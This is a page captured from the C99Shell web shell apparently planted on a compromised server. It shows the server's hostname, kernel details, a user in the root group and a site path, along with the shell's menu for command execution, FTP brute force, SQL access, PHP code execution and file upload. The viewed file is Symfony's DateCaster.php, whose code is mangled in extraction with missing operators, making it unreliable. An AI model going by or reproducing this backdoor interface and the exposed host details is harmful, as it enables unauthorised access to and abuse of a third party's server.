!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/symfony/var-dumper/Caster/   drwxr-xr-x
Free 28.66 GB of 117.98 GB (24.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DateCaster.php (4.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarDumper\Caster;

use 
Symfony\Component\VarDumper\Cloner\Stub;

/**
 * Casts DateTimeInterface related classes to array representation.
 *
 * @author Dany Maillard <danymaillard93b@gmail.com>
 *
 * @final
 */
class DateCaster
{
    private const 
PERIOD_LIMIT 3;

    public static function 
castDateTime(\DateTimeInterface $d, array $aStub $stubbool $isNestedint $filter)
    {
        
$prefix Caster::PREFIX_VIRTUAL;
        
$location $d->getTimezone() ? $d->getTimezone()->getLocation() : null;
        
$fromNow = (new \DateTime())->diff($d);

        
$title $d->format('l, F j, Y')
            .
"\n".self::formatInterval($fromNow).' from now'
            
.($location ? ($d->format('I') ? "\nDST On" "\nDST Off") : '')
        ;

        unset(
            
$a[Caster::PREFIX_DYNAMIC.'date'],
            
$a[Caster::PREFIX_DYNAMIC.'timezone'],
            
$a[Caster::PREFIX_DYNAMIC.'timezone_type']
        );
        
$a[$prefix.'date'] = new ConstStub(self::formatDateTime($d$location ' e (P)' ' P'), $title);

        
$stub->class .= $d->format(' @U');

        return 
$a;
    }

    public static function 
castInterval(\DateInterval $interval, array $aStub $stubbool $isNestedint $filter)
    {
        
$now = new \DateTimeImmutable('@0', new \DateTimeZone('UTC'));
        
$numberOfSeconds $now->add($interval)->getTimestamp() - $now->getTimestamp();
        
$title number_format($numberOfSeconds0'.'' ').'s';

        
$i = [Caster::PREFIX_VIRTUAL.'interval' => new ConstStub(self::formatInterval($interval), $title)];

        return 
$filter Caster::EXCLUDE_VERBOSE $i $i $a;
    }

    private static function 
formatInterval(\DateInterval $i): string
    
{
        
$format '%R ';

        if (
=== $i->&& === $i->&& ($i->>= 24 || $i->>= 60 || $i->>= 60)) {
            
$d = new \DateTimeImmutable('@0', new \DateTimeZone('UTC'));
            
$i $d->diff($d->add($i)); // recalculate carry over points
            
$format .= $i->days '%ad ' '';
        } else {
            
$format .= ($i->'%yy ' '').($i->'%mm ' '').($i->'%dd ' '');
        }

        
$format .= $i->|| $i->|| $i->|| $i->'%H:%I:'.self::formatSeconds($i->ssubstr($i->f2)) : '';
        
$format '%R ' === $format '0s' $format;

        return 
$i->format(rtrim($format));
    }

    public static function 
castTimeZone(\DateTimeZone $timeZone, array $aStub $stubbool $isNestedint $filter)
    {
        
$location $timeZone->getLocation();
        
$formatted = (new \DateTime('now'$timeZone))->format($location 'e (P)' 'P');
        
$title $location && \extension_loaded('intl') ? \Locale::getDisplayRegion('-'.$location['country_code']) : '';

        
$z = [Caster::PREFIX_VIRTUAL.'timezone' => new ConstStub($formatted$title)];

        return 
$filter Caster::EXCLUDE_VERBOSE $z $z $a;
    }

    public static function 
castPeriod(\DatePeriod $p, array $aStub $stubbool $isNestedint $filter)
    {
        
$dates = [];
        foreach (clone 
$p as $i => $d) {
            if (
self::PERIOD_LIMIT === $i) {
                
$now = new \DateTimeImmutable('now', new \DateTimeZone('UTC'));
                
$dates[] = sprintf('%s more', ($end $p->getEndDate())
                    ? 
ceil(($end->format('U.u') - $d->format('U.u')) / ((int) $now->add($p->getDateInterval())->format('U.u') - (int) $now->format('U.u')))
                    : 
$p->recurrences $i
                
);
                break;
            }
            
$dates[] = sprintf('%s) %s'$i 1self::formatDateTime($d));
        }

        
$period sprintf(
            
'every %s, from %s%s %s',
            
self::formatInterval($p->getDateInterval()),
            
$p->include_start_date '[' ']',
            
self::formatDateTime($p->getStartDate()),
            (
$end $p->getEndDate()) ? 'to '.self::formatDateTime($end).(\PHP_VERSION_ID >= 80200 && $p->include_end_date ']' '[') : 'recurring '.$p->recurrences.' time/s'
        
);

        
$p = [Caster::PREFIX_VIRTUAL.'period' => new ConstStub($periodimplode("\n"$dates))];

        return 
$filter Caster::EXCLUDE_VERBOSE $p $p $a;
    }

    private static function 
formatDateTime(\DateTimeInterface $dstring $extra ''): string
    
{
        return 
$d->format('Y-m-d H:i:'.self::formatSeconds($d->format('s'), $d->format('u')).$extra);
    }

    private static function 
formatSeconds(string $sstring $us): string
    
{
        return 
sprintf('%02d.%s'$s=== ($len \strlen($t rtrim($us'0'))) ? '0' : ($len <= str_pad($t3'0') : $us));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--